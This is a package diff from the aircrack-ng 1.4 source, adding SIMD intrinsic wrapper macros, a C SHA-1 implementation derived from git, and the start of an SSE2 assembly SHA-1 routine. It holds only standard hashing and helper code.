+#define vpermute4x64_epi64 _mm_permute4x64_epi64
+#define vpermute2x128 _mm_permute2x128_si128
+#if __XOP__
+#define vroti_epi32 _mm_roti_epi32
+#define vroti16_epi32 _mm_roti_epi32
+#define vroti_epi64 _mm_roti_epi64
+#else
+#define vroti_epi32 vroti_epi32_emu
+#define vroti_epi64 vroti_epi64_emu
+/* Specialized ROTL16 for SSE4.1 and lower (eg. MD5) */
+#if __SSSE3__
+#define vroti16_epi32(a, s)                                                    \
+	vshuffle_epi8((a),                                                         \
+				  vset_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302))
+#elif __SSE2__
+#define vroti16_epi32(a, s) vshufflelo_epi16(vshufflehi_epi16((a), 0xb1), 0xb1)
+#else
+#define vroti16_epi32 vroti_epi32
+#endif /* __SSSE3__ */
+#endif /* __XOP__ */
+#define vset_epi32 _mm_set_epi32
+#define vset1_epi8 _mm_set1_epi8
+#define vset1_epi32 _mm_set1_epi32
+#ifndef _MSC_VER
+#define vset1_epi64 _mm_set1_epi64x
+#define vset_epi64 _mm_set_epi64x
+#else
+#define vset1_epi64 _mm_set1_epi64
+#define vset_epi64 _mm_set_epi64
+#endif
+#define vsetzero _mm_setzero_si128
+#if __SSSE3__
+#define vshuffle_epi8 _mm_shuffle_epi8
+#endif
+#define vshuffle_epi32 _mm_shuffle_epi32
+#define vshufflehi_epi16 _mm_shufflehi_epi16
+#define vshufflelo_epi16 _mm_shufflelo_epi16
+#define vslli_epi16 _mm_slli_epi16
+#define vslli_epi32 _mm_slli_epi32
+#define vslli_epi64 _mm_slli_epi64
+#define vsrli_epi16 _mm_srli_epi16
+#define vsrli_epi32 _mm_srli_epi32
+#define vsrli_epi64 _mm_srli_epi64
+#define vstore(x, y) _mm_store_si128((vtype *) (x), y)
+#define vstoreu(x, y) _mm_storeu_si128((vtype *) (x), y)
+#define vunpackhi_epi32 _mm_unpackhi_epi32
+#define vunpackhi_epi64 _mm_unpackhi_epi64
+#define vunpacklo_epi32 _mm_unpacklo_epi32
+#define vunpacklo_epi64 _mm_unpacklo_epi64
+#define vxor _mm_xor_si128
+
+#define vanyeq_epi32(x, y) vmovemask_epi8(vcmpeq_epi32(x, y))
+
+#if __SSSE3__
+
+#define swap_endian_mask                                                       \
+	vset_epi32(0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203)
+#define vswap32(n) (n = vshuffle_epi8(n, swap_endian_mask))
+
+#define swap_endian64_mask                                                     \
+	vset_epi64(0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL)
+#define vswap64(n) (n = vshuffle_epi8(n, swap_endian64_mask))
+
+#else /* Just basic SSE2 */
+
+#define vswap32(n)                                                             \
+	(n = vxor(vsrli_epi16(vroti16_epi32(n, 16), 8),                            \
+			  vslli_epi16(vroti16_epi32(n, 16), 8)))
+
+#define vswap64(n)                                                             \
+	(n = vshufflehi_epi16(vshufflelo_epi16(n, 0xb1), 0xb1),                    \
+	 n = vxor(vslli_epi16(n, 8), vsrli_epi16(n, 8)),                           \
+	 n = vshuffle_epi32(n, 0xb1))
+
+#endif /* __SSSE3__ */
+
+#if __SSE4_1__
+#define GATHER_4x(x, y, z)                                                     \
+	{                                                                          \
+		x = vcvtsi32(y[z]);                                                    \
+		x = vinsert_epi32(x, y[z + (1 << 6)], 1);                              \
+		x = vinsert_epi32(x, y[z + (2 << 6)], 2);                              \
+		x = vinsert_epi32(x, y[z + (3 << 6)], 3);                              \
+	}
+#define GATHER_2x(x, y, z)                                                     \
+	{                                                                          \
+		x = vcvtsi32(y[z]);                                                    \
+		x = vinsert_epi32(x, y[z + (1 << 5)], 1);                              \
+		x = vinsert_epi32(x, y[z + (2 << 5)], 2);                              \
+		x = vinsert_epi32(x, y[z + (3 << 5)], 3);                              \
+	}
+#define GATHER(x, y, z)                                                        \
+	{                                                                          \
+		x = vcvtsi32(y[z]);                                                    \
+		x = vinsert_epi32(x, y[z + (1 << 4)], 1);                              \
+		x = vinsert_epi32(x, y[z + (2 << 4)], 2);                              \
+		x = vinsert_epi32(x, y[z + (3 << 4)], 3);                              \
+	}
+#endif /* __SSE4_1__ */
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		x = vset_epi64(y[1][z], y[0][z]);                                      \
+	}
+
+#if _MSC_VER && !_M_X64
+/*
+ * These are slow, but the F'n 32 bit compiler will not build these intrinsics.
+ * Only the 64-bit (Win64) MSVC compiler has these as intrinsics. These slow
+ * ones let me debug, and develop this code, and work, but use CPU
+ */
+#define _mm_set_epi64 __mm_set_epi64
+#define _mm_set1_epi64 __mm_set1_epi64
+_inline __m128i _mm_set_epi64(long long a, long long b)
+{
+	__m128i x;
+
+	x.m128i_i64[0] = b;
+	x.m128i_i64[1] = a;
+	return x;
+}
+_inline __m128i _mm_set1_epi64(long long a)
+{
+	__m128i x;
+
+	x.m128i_i64[0] = x.m128i_i64[1] = a;
+	return x;
+}
+#define vset1_epi64x(x) vset_epi64x(x, x)
+#define vset_epi64x(x1, x0)                                                    \
+	(vtype)(vtype64) { x0, x1 }
+#endif
+
+#endif /* __SIMD__ elif __SIMD__ elif __SIMD__ */
+
+/************************* COMMON STUFF BELOW *************************/
+
+#ifdef _MSC_VER
+#define MEM_ALIGN_SIMD 16
+#define INLINE _inline
+#else
+#define MEM_ALIGN_SIMD (SIMD_COEF_32 * 4)
+#define INLINE inline
+#endif
+
+#if VLOADU_EMULATED
+static INLINE vtype vloadu_emu(const void * addr)
+{
+	if (is_aligned(addr, MEM_ALIGN_SIMD))
+		return vload(addr);
+	else
+	{
+		JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)];
+
+		return vload(memcpy(buf, addr, sizeof(vtype)));
+	}
+}
+#endif
+
+#if VSTOREU_EMULATED
+static INLINE void vstoreu_emu(void * addr, vtype v)
+{
+	if (is_aligned(addr, MEM_ALIGN_SIMD))
+		vstore(addr, v);
+	else
+	{
+		JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)];
+
+		vstore(buf, v);
+		memcpy(addr, buf, sizeof(vtype));
+	}
+}
+#endif
+
+#define vswap32_emu(x)                                                         \
+	x = vxor(vsrli_epi32(x, 24),                                               \
+			 vxor(vslli_epi32(vsrli_epi32(vslli_epi32(x, 8), 24), 8),          \
+				  vxor(vsrli_epi32(vslli_epi32(vsrli_epi32(x, 8), 24), 8),     \
+					   vslli_epi32(x, 24))))
+#define vswap64_emu(x)                                                         \
+	(x = vxor(vsrli_epi64(x, 32), vslli_epi64(x, 32)), vswap32_emu(x))
+
+#if VCMOV_EMULATED
+#if VANDNOT_EMULATED /* currently never */
+#define vcmov_emu(x, y, z) vxor(y, vand(z, vxor(x, y)))
+#else
+#define vcmov_emu(x, y, z) vxor(vand(z, x), vandnot(z, y))
+#endif
+#endif
+
+#if __SSE3__ || __MIC__
+#define vslli_epi64a(a, s) vslli_epi64(a, s)
+
+#else
+/* Optimization for really old CPUs for << 1 (for vroti -1) (eg. SHA512) */
+#define vslli_epi64a(a, s)                                                     \
+	((s) == 1 ? vadd_epi64((a), (a)) : vslli_epi64((a), (s)))
+
+#endif /* __SSE3__ || __MIC__ */
+
+/*
+ * vroti must handle both ROTL and ROTR. If s < 0, then ROTR. Note that
+ * the ternary will normally be optimized away!
+ */
+#define vroti_epi32_emu(a, s)                                                  \
+	((s) < 0 ? vxor(vsrli_epi32((a), ~(s) + 1), vslli_epi32((a), 32 + (s)))    \
+			 : vxor(vslli_epi32((a), (s)), vsrli_epi32((a), 32 - (s))))
+
+#define vroti_epi64_emu(a, s)                                                  \
+	((s) < 0 ? vxor(vsrli_epi64((a), ~(s) + 1), vslli_epi64a((a), 64 + (s)))   \
+			 : vxor(vslli_epi64a((a), (s)), vsrli_epi64((a), 64 - (s))))
+
+#endif /* SIMD_COEF_32 */
+
+#endif /* _SSE_PSEUDO_H */

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/sha1-git.c Added

@@ -0,0 +1,343 @@
+#ifndef _SHA1_GIT
+/*
+ * sha1-git.c
+ *
+ * This code is based on the GIT SHA1 Implementation.
+ *
+ * Copyright (C) 2009 Linus Torvalds <torvalds@linux-foundation.org>
+ * Copyright (C) 2009 Nicolas Pitre <nico@cam.org>
+ * Copyright (C) 2009 Junio C Hamano <gitster@pobox.com>
+ * Copyright (C) 2009 Brandon Casey <drafnel@gmail.com>
+ * Copyright (C) 2010 Ramsay Jones <ramsay@ramsay1.demon.co.uk>
+ * Copyright (C) 2012 Carlos Alberto Lopez Perez <clopez@igalia.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ */
+
+/*
+ * SHA1 routine optimized to do word accesses rather than byte accesses,
+ * and to avoid unnecessary copies into the context array.
+ *
+ * This was initially based on the Mozilla SHA1 implementation, although
+ * none of the original Mozilla code remains.
+ */
+
+/* this is only to get definitions for memcpy(), ntohl() and htonl() */
+//#include "../git-compat-util.h"
+#include <string.h>
+#include <arpa/inet.h>
+#include "sha1-git.h"
+
+#if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))
+
+/*
+ * Force usage of rol or ror by selecting the one with the smaller constant.
+ * It _can_ generate slightly smaller code (a constant of 1 is special), but
+ * perhaps more importantly it's possibly faster on any uarch that does a
+ * rotate with a loop.
+ */
+
+#define SHA_ASM(op, x, n)                                                      \
+	({                                                                         \
+		unsigned int __res;                                                    \
+		__asm__(op " %1,%0" : "=r"(__res) : "i"(n), "0"(x));                   \
+		__res;                                                                 \
+	})
+#define SHA_ROL(x, n) SHA_ASM("rol", x, n)
+#define SHA_ROR(x, n) SHA_ASM("ror", x, n)
+
+#else
+
+#define SHA_ROT(X, l, r) (((X) << (l)) | ((X) >> (r)))
+#define SHA_ROL(X, n) SHA_ROT(X, n, 32 - (n))
+#define SHA_ROR(X, n) SHA_ROT(X, 32 - (n), n)
+
+#endif
+
+/*
+ * If you have 32 registers or more, the compiler can (and should)
+ * try to change the array[] accesses into registers. However, on
+ * machines with less than ~25 registers, that won't really work,
+ * and at least gcc will make an unholy mess of it.
+ *
+ * So to avoid that mess which just slows things down, we force
+ * the stores to memory to actually happen (we might be better off
+ * with a 'W(t)=(val);asm("":"+m" (W(t))' there instead, as
+ * suggested by Artur Skawina - that will also make gcc unable to
+ * try to do the silly "optimize away loads" part because it won't
+ * see what the value will be).
+ *
+ * Ben Herrenschmidt reports that on PPC, the C version comes close
+ * to the optimized asm with this (ie on PPC you don't want that
+ * 'volatile', since there are lots of registers).
+ *
+ * On ARM we get the best code generation by forcing a full memory barrier
+ * between each SHA_ROUND, otherwise gcc happily get wild with spilling and
+ * the stack frame size simply explode and performance goes down the drain.
+ */
+
+#if defined(__i386__) || defined(__x86_64__)
+#define setW(x, val) (*(volatile unsigned int *) &W(x) = (val))
+#elif defined(__GNUC__) && defined(__arm__)
+#define setW(x, val)                                                           \
+	do                                                                         \
+	{                                                                          \
+		W(x) = (val);                                                          \
+		__asm__("" ::: "memory");                                              \
+	} while (0)
+#else
+#define setW(x, val) (W(x) = (val))
+#endif
+
+/*
+ * Performance might be improved if the CPU architecture is OK with
+ * unaligned 32-bit loads and a fast ntohl() is available.
+ * Otherwise fall back to byte loads and shifts which is portable,
+ * and is faster on architectures with memory alignment issues.
+ */
+
+#if defined(__i386__) || defined(__x86_64__) || defined(_M_IX86)               \
+	|| defined(_M_X64) || defined(__ppc__) || defined(__ppc64__)               \
+	|| defined(__powerpc__) || defined(__powerpc64__) || defined(__s390__)     \
+	|| defined(__s390x__)
+
+#define get_be32(p) ntohl(*(unsigned int *) (p))
+#define put_be32(p, v)                                                         \
+	do                                                                         \
+	{                                                                          \
+		*(unsigned int *) (p) = htonl(v);                                      \
+	} while (0)
+
+#else
+
+#define get_be32(p)                                                            \
+	((*((unsigned char *) (p) + 0) << 24)                                      \
+	 | (*((unsigned char *) (p) + 1) << 16)                                    \
+	 | (*((unsigned char *) (p) + 2) << 8)                                     \
+	 | (*((unsigned char *) (p) + 3) << 0))
+#define put_be32(p, v)                                                         \
+	do                                                                         \
+	{                                                                          \
+		unsigned int __v = (v);                                                \
+		*((unsigned char *) (p) + 0) = __v >> 24;                              \
+		*((unsigned char *) (p) + 1) = __v >> 16;                              \
+		*((unsigned char *) (p) + 2) = __v >> 8;                               \
+		*((unsigned char *) (p) + 3) = __v >> 0;                               \
+	} while (0)
+
+#endif
+
+/* This "rolls" over the 512-bit array */
+#define W(x) (array[(x) &15])
+
+/*
+ * Where do we get the source from? The first 16 iterations get it from
+ * the input data, the next mix it from the 512-bit array.
+ */
+#define SHA_SRC(t) get_be32(data + t)
+#define SHA_MIX(t) SHA_ROL(W(t + 13) ^ W(t + 8) ^ W(t + 2) ^ W(t), 1)
+
+#define SHA_ROUND(t, input, fn, constant, A, B, C, D, E)                       \
+	do                                                                         \
+	{                                                                          \
+		unsigned int TEMP = input(t);                                          \
+		setW(t, TEMP);                                                         \
+		E += TEMP + SHA_ROL(A, 5) + (fn) + (constant);                         \
+		B = SHA_ROR(B, 2);                                                     \
+	} while (0)
+
+#define T_0_15(t, A, B, C, D, E)                                               \
+	SHA_ROUND(t, SHA_SRC, (((C ^ D) & B) ^ D), 0x5a827999, A, B, C, D, E)
+#define T_16_19(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, (((C ^ D) & B) ^ D), 0x5a827999, A, B, C, D, E)
+#define T_20_39(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, (B ^ C ^ D), 0x6ed9eba1, A, B, C, D, E)
+#define T_40_59(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, ((B & C) + (D & (B ^ C))), 0x8f1bbcdc, A, B, C, D, E)
+#define T_60_79(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, (B ^ C ^ D), 0xca62c1d6, A, B, C, D, E)
+
+static void blk_SHA1_Block(blk_SHA_CTX * ctx, const unsigned int * data)
+{
+	unsigned int A, B, C, D, E;
+	unsigned int array[16];
+
+	A = ctx->h0;
+	B = ctx->h1;
+	C = ctx->h2;
+	D = ctx->h3;
+	E = ctx->h4;
+
+	/* Round 1 - iterations 0-16 take their input from 'data' */
+	T_0_15(0, A, B, C, D, E);
+	T_0_15(1, E, A, B, C, D);
+	T_0_15(2, D, E, A, B, C);
+	T_0_15(3, C, D, E, A, B);
+	T_0_15(4, B, C, D, E, A);
+	T_0_15(5, A, B, C, D, E);
+	T_0_15(6, E, A, B, C, D);
+	T_0_15(7, D, E, A, B, C);
+	T_0_15(8, C, D, E, A, B);
+	T_0_15(9, B, C, D, E, A);
+	T_0_15(10, A, B, C, D, E);
+	T_0_15(11, E, A, B, C, D);
+	T_0_15(12, D, E, A, B, C);
+	T_0_15(13, C, D, E, A, B);
+	T_0_15(14, B, C, D, E, A);
+	T_0_15(15, A, B, C, D, E);
+
+	/* Round 1 - tail. Input from 512-bit mixing array */
+	T_16_19(16, E, A, B, C, D);
+	T_16_19(17, D, E, A, B, C);
+	T_16_19(18, C, D, E, A, B);
+	T_16_19(19, B, C, D, E, A);
+
+	/* Round 2 */
+	T_20_39(20, A, B, C, D, E);
+	T_20_39(21, E, A, B, C, D);
+	T_20_39(22, D, E, A, B, C);
+	T_20_39(23, C, D, E, A, B);
+	T_20_39(24, B, C, D, E, A);
+	T_20_39(25, A, B, C, D, E);
+	T_20_39(26, E, A, B, C, D);
+	T_20_39(27, D, E, A, B, C);
+	T_20_39(28, C, D, E, A, B);
+	T_20_39(29, B, C, D, E, A);
+	T_20_39(30, A, B, C, D, E);
+	T_20_39(31, E, A, B, C, D);
+	T_20_39(32, D, E, A, B, C);
+	T_20_39(33, C, D, E, A, B);
+	T_20_39(34, B, C, D, E, A);
+	T_20_39(35, A, B, C, D, E);
+	T_20_39(36, E, A, B, C, D);
+	T_20_39(37, D, E, A, B, C);
+	T_20_39(38, C, D, E, A, B);
+	T_20_39(39, B, C, D, E, A);
+
+	/* Round 3 */
+	T_40_59(40, A, B, C, D, E);
+	T_40_59(41, E, A, B, C, D);
+	T_40_59(42, D, E, A, B, C);
+	T_40_59(43, C, D, E, A, B);
+	T_40_59(44, B, C, D, E, A);
+	T_40_59(45, A, B, C, D, E);
+	T_40_59(46, E, A, B, C, D);
+	T_40_59(47, D, E, A, B, C);
+	T_40_59(48, C, D, E, A, B);
+	T_40_59(49, B, C, D, E, A);
+	T_40_59(50, A, B, C, D, E);
+	T_40_59(51, E, A, B, C, D);
+	T_40_59(52, D, E, A, B, C);
+	T_40_59(53, C, D, E, A, B);
+	T_40_59(54, B, C, D, E, A);
+	T_40_59(55, A, B, C, D, E);
+	T_40_59(56, E, A, B, C, D);
+	T_40_59(57, D, E, A, B, C);
+	T_40_59(58, C, D, E, A, B);
+	T_40_59(59, B, C, D, E, A);
+
+	/* Round 4 */
+	T_60_79(60, A, B, C, D, E);
+	T_60_79(61, E, A, B, C, D);
+	T_60_79(62, D, E, A, B, C);
+	T_60_79(63, C, D, E, A, B);
+	T_60_79(64, B, C, D, E, A);
+	T_60_79(65, A, B, C, D, E);
+	T_60_79(66, E, A, B, C, D);
+	T_60_79(67, D, E, A, B, C);
+	T_60_79(68, C, D, E, A, B);
+	T_60_79(69, B, C, D, E, A);
+	T_60_79(70, A, B, C, D, E);
+	T_60_79(71, E, A, B, C, D);
+	T_60_79(72, D, E, A, B, C);
+	T_60_79(73, C, D, E, A, B);
+	T_60_79(74, B, C, D, E, A);
+	T_60_79(75, A, B, C, D, E);
+	T_60_79(76, E, A, B, C, D);
+	T_60_79(77, D, E, A, B, C);
+	T_60_79(78, C, D, E, A, B);
+	T_60_79(79, B, C, D, E, A);
+
+	ctx->h0 += A;
+	ctx->h1 += B;
+	ctx->h2 += C;
+	ctx->h3 += D;
+	ctx->h4 += E;
+}
+
+void blk_SHA1_Init(blk_SHA_CTX * ctx)
+{
+	ctx->size = 0;
+
+	/* Initialize H with the magic constants (see FIPS180 for constants) */
+	ctx->h0 = 0x67452301;
+	ctx->h1 = 0xefcdab89;
+	ctx->h2 = 0x98badcfe;
+	ctx->h3 = 0x10325476;
+	ctx->h4 = 0xc3d2e1f0;
+}
+
+void blk_SHA1_Update(blk_SHA_CTX * ctx, const void * data, unsigned long len)
+{
+	unsigned int lenW = ctx->size & 63;
+
+	ctx->size += len;
+
+	/* Read the data into W and process blocks as they get full */
+	if (lenW)
+	{
+		unsigned int left = 64 - lenW;
+		if (len < left) left = len;
+		memcpy(lenW + (char *) ctx->W, data, left);
+		lenW = (lenW + left) & 63;
+		len -= left;
+		data = ((const char *) data + left);
+		if (lenW) return;
+		blk_SHA1_Block(ctx, ctx->W);
+	}
+	while (len >= 64)
+	{
+		blk_SHA1_Block(ctx, data);
+		data = ((const char *) data + 64);
+		len -= 64;
+	}
+	if (len) memcpy(ctx->W, data, len);
+}
+
+void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX * ctx)
+{
+	static const unsigned char pad[64] = {0x80};
+	unsigned int padlen[2];
+	int i;
+
+	/* Pad with a binary 1 (ie 0x80), then zeroes, then length */
+	padlen[0] = htonl((uint32_t)(ctx->size >> 29));
+	padlen[1] = htonl((uint32_t)(ctx->size << 3));
+
+	i = ctx->size & 63;
+	blk_SHA1_Update(ctx, pad, 1 + (63 & (55 - i)));
+	blk_SHA1_Update(ctx, padlen, 8);
+
+	/* Output hash */
+	put_be32(hashout + 0 * 4, ctx->h0);
+	put_be32(hashout + 1 * 4, ctx->h1);
+	put_be32(hashout + 2 * 4, ctx->h2);
+	put_be32(hashout + 3 * 4, ctx->h3);
+	put_be32(hashout + 4 * 4, ctx->h4);
+}
+#define _SHA1_GIT
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/sha1-git.h Added

@@ -0,0 +1,49 @@
+/*
+ * sha1-git.h
+ *
+ * This code is based on the GIT SHA1 Implementation.
+ *
+ * Copyright (C) 2009 Linus Torvalds <torvalds@linux-foundation.org>
+ * Copyright (C) 2009 Nicolas Pitre <nico@cam.org>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ */
+
+/*
+ * SHA1 routine optimized to do word accesses rather than byte accesses,
+ * and to avoid unnecessary copies into the context array.
+ *
+ * This was initially based on the Mozilla SHA1 implementation, although
+ * none of the original Mozilla code remains.
+ */
+
+typedef struct
+{
+	unsigned long long size;
+	unsigned int h0, h1, h2, h3, h4;
+	unsigned int W[16];
+} blk_SHA_CTX;
+
+void blk_SHA1_Init(blk_SHA_CTX * ctx);
+void blk_SHA1_Update(blk_SHA_CTX * ctx, const void * dataIn, unsigned long len);
+void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX * ctx);
+
+#define git_SHA_CTX blk_SHA_CTX
+#define git_SHA1_Init blk_SHA1_Init
+#define git_SHA1_Update blk_SHA1_Update
+#define git_SHA1_Final blk_SHA1_Final
+#define SHA_DIGEST_LENGTH 20

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/sha1-sse2.S Added

@@ -0,0 +1,628 @@
+// Cygwin, Apple, Clang, (C) 2018 Joseph Benden (joe@benden.us)
+// SHA-1 SSE2 implementation, (C) 2008 Alvaro Salmador (naplam33@msn.com), ported from Simon Marechal's SHA-1 MMX - License: GPLv2
+// SHA-1 MMX implementation, (C) 2005 Simon Marechal (simon@banquise.net) - License: Public Domain
+
+// This code computes two (with sse now four) SHA-1 digests at the same time. It
+// doesn't take care of padding (0x80 and size << 3), so make
+// sure the last input block is properly padded. Both 64-byte
+// input blocks must be (four bytes) interleaved.
+
+//  In addition, as a special exception, the copyright holders give
+//  permission to link the code of portions of this program with the
+//  OpenSSL library under certain conditions as described in each
+//  individual source file, and distribute linked combinations
+//  including the two.
+//  You must obey the GNU General Public License in all respects
+//  for all of the code used other than OpenSSL. *  If you modify
+//  file(s) with this exception, you may extend this exception to your
+//  version of the file(s), but you are not obligated to do so. *  If you
+//  do not wish to do so, delete this exception statement from your
+//  version. *  If you delete this exception statement from all source
+//  files in the program, then also delete it here.
+
+#if defined(__x86_64__)
+#if defined(__APPLE__) || defined(__CYGWIN__)
+#define USE_PIC 1
+#else
+#undef USE_PIC
+#endif
+#else
+#undef USE_PIC
+#endif
+
+#if defined(USE_PIC)
+#define PRELOAD(x,f)
+#define MANGLE(x,f) x(%rip)
+#define INIT_PIC(f)
+#define END_PIC(f)
+#else
+#ifdef __PIC__
+
+#ifdef __x86_64__
+#define PRELOAD(x,f)  movq x@GOTPCREL(%rip), %rbx;
+#define MANGLE(x,f)   (%rbx)
+#define INIT_PIC(f)  pushq %rbx
+#define END_PIC(f)   popq  %rbx
+#else
+
+#if __APPLE__
+#define PRELOAD(x,f)  leal x-L0## f ##$pb(%ebx), %esi;
+#define MANGLE(x,f)   (%esi)
+#define INIT_PIC(x) \
+    push %ebx; \
+    call L0## x ##$pb; \
+    L0## x ##$pb:; \
+    pop %ebx;
+#define END_PIC(x)    pop %ebx
+#else
+#undef __i686 /* gcc builtin define gets in our way */
+#define PRELOAD(x,f)  
+#define MANGLE(x,f)   x ## @GOTOFF(%ebx)
+#define INIT_PIC(f) \
+	call __i686.get_pc_thunk.bx ; \
+	addl $_GLOBAL_OFFSET_TABLE_, %ebx
+#define END_PIC(f)
+#endif
+
+#endif
+
+#else
+
+#define PRELOAD(x,f)  
+#define MANGLE(x,f) x
+#define INIT_PIC(f)
+#define END_PIC(f)
+
+#endif
+#endif
+
+#if defined(__i386__) || defined(__x86_64__)
+
+.globl  shasse2_init;
+.globl  shasse2_ends;
+.globl  shasse2_data;
+.globl  shasse2_cpuid;
+
+.globl _shasse2_init;
+.globl _shasse2_ends;
+.globl _shasse2_data;
+.globl _shasse2_cpuid;
+
+.data
+#ifdef __APPLE__
+.align(12)
+#else
+.align(16)
+#endif
+const_init_a:
+.long 0x67452301
+.long 0x67452301
+.long 0x67452301
+.long 0x67452301
+const_init_b:
+.long 0xEFCDAB89
+.long 0xEFCDAB89
+.long 0xEFCDAB89
+.long 0xEFCDAB89
+const_init_c:
+.long 0x98BADCFE
+.long 0x98BADCFE
+.long 0x98BADCFE
+.long 0x98BADCFE
+const_init_d:
+.long 0x10325476
+.long 0x10325476
+.long 0x10325476
+.long 0x10325476
+const_init_e:
+.long 0xC3D2E1F0
+.long 0xC3D2E1F0
+.long 0xC3D2E1F0
+.long 0xC3D2E1F0
+const_stage0:
+.long 0x5A827999
+.long 0x5A827999
+.long 0x5A827999
+.long 0x5A827999
+const_stage1:
+.long 0x6ED9EBA1
+.long 0x6ED9EBA1
+.long 0x6ED9EBA1
+.long 0x6ED9EBA1
+const_stage2:
+.long 0x8F1BBCDC
+.long 0x8F1BBCDC
+.long 0x8F1BBCDC
+.long 0x8F1BBCDC
+const_stage3:
+.long 0xCA62C1D6
+.long 0xCA62C1D6
+.long 0xCA62C1D6
+.long 0xCA62C1D6
+const_ff00:
+.long 0xFF00FF00
+.long 0xFF00FF00
+.long 0xFF00FF00
+.long 0xFF00FF00
+const_00ff:
+.long 0x00FF00FF
+.long 0x00FF00FF
+.long 0x00FF00FF
+.long 0x00FF00FF
+
+#define ctxa %xmm0
+#define ctxb %xmm1
+#define ctxc %xmm2
+#define ctxd %xmm3
+#define ctxe %xmm4
+#define tmp1 %xmm5
+#define tmp2 %xmm6
+#define tmp3 %xmm7
+#define tmp4 ctxa
+#define tmp5 ctxb
+
+#if defined(__x86_64__) && defined(__CYGWIN__)
+ #define edx_rsi %rdx     // arg2
+ #define ecx_rdx %r8      // arg3
+ #define eax_rdi %rcx     // arg1
+#elif defined(__x86_64__)
+ #define edx_rsi %rsi     // arg2
+ #define ecx_rdx %rdx     // arg3
+ #define eax_rdi %rdi     // arg1
+#else
+ #define edx_rsi %edx
+ #define ecx_rdx %ecx
+ #define eax_rdi %eax
+#endif
+
+// movdqa movapd
+
+#define F0(x,y,z)       \
+        movdqa   x, tmp2; \
+        movdqa   x, tmp1; \
+        pand   y, tmp2; \
+        pandn  z, tmp1; \
+        por    tmp2, tmp1; 
+
+#define F1(x,y,z)       \
+        movdqa   z, tmp1; \
+        pxor   y, tmp1; \
+        pxor   x, tmp1
+
+#define F2(x,y,z)       \
+        movdqa   x, tmp1; \
+        movdqa   x, tmp2; \
+        pand   y, tmp1; \
+        por    y, tmp2; \
+        pand   z, tmp2; \
+        por    tmp2, tmp1;
+        
+#if defined(__x86_64__) && (defined(__CYGWIN__) && !defined(__clang__))
+#define subRoundX(a, b, c, d, e, f, k, data)    \
+        f(b,c,d);                               \
+        movdqa   a, tmp2;                       \
+        movdqa   a, tmp3;                       \
+        paddd  tmp1, e;                         \
+        pslld    $5, tmp2;                      \
+        psrld   $27, tmp3;                      \
+        por    tmp3, tmp2;                      \
+        paddd  tmp2, e;                         \
+        movdqa   b, tmp2;                       \
+        pslld  $30, b;                          \
+        paddd  MANGLE(k,shasse2_data), e;			\
+        psrld  $2, tmp2;                        \
+        por    tmp2, b;                         \
+        movdqa   (data*16)(edx_rsi), tmp1;      \
+        movdqa   tmp1, tmp2;                    \
+        pand   MANGLE(const_ff00,shasse2_data), tmp1;        \
+        pand   MANGLE(const_00ff,shasse2_data), tmp2;        \
+        psrld  $8, tmp1;                        \
+        pslld  $8, tmp2;                        \
+        por    tmp2, tmp1;                      \
+        movdqa   tmp1, tmp2;                    \
+        psrld  $16, tmp1;                       \
+        pslld  $16, tmp2;                       \
+        por    tmp2, tmp1;                      \
+        movdqa   tmp1, (data*16)(ecx_rdx);      \
+        paddd  tmp1, e;
+#else
+#define subRoundX(a, b, c, d, e, f, k, data)    \
+        f(b,c,d);                               \
+        movdqa   a, tmp2;                       \
+        movdqa   a, tmp3;                       \
+        paddd  tmp1, e;                         \
+        pslld    $5, tmp2;                      \
+        psrld   $27, tmp3;                      \
+        por    tmp3, tmp2;                      \
+        paddd  tmp2, e;                         \
+        movdqa   b, tmp2;                       \
+        pslld  $30, b;                          \
+        PRELOAD(k,shasse2_data)				\
+        paddd  MANGLE(k,shasse2_data), e;			\
+        psrld  $2, tmp2;                        \
+        por    tmp2, b;                         \
+        movdqa   (data*16)(edx_rsi), tmp1;      \
+        movdqa   tmp1, tmp2;                    \
+        PRELOAD(const_ff00,shasse2_data)			\
+        pand   MANGLE(const_ff00,shasse2_data), tmp1;        \
+        PRELOAD(const_00ff,shasse2_data)			\
+        pand   MANGLE(const_00ff,shasse2_data), tmp2;        \
+        psrld  $8, tmp1;                        \
+        pslld  $8, tmp2;                        \
+        por    tmp2, tmp1;                      \
+        movdqa   tmp1, tmp2;                    \
+        psrld  $16, tmp1;                       \
+        pslld  $16, tmp2;                       \
+        por    tmp2, tmp1;                      \
+        movdqa   tmp1, (data*16)(ecx_rdx);      \
+        paddd  tmp1, e;
+#endif
+
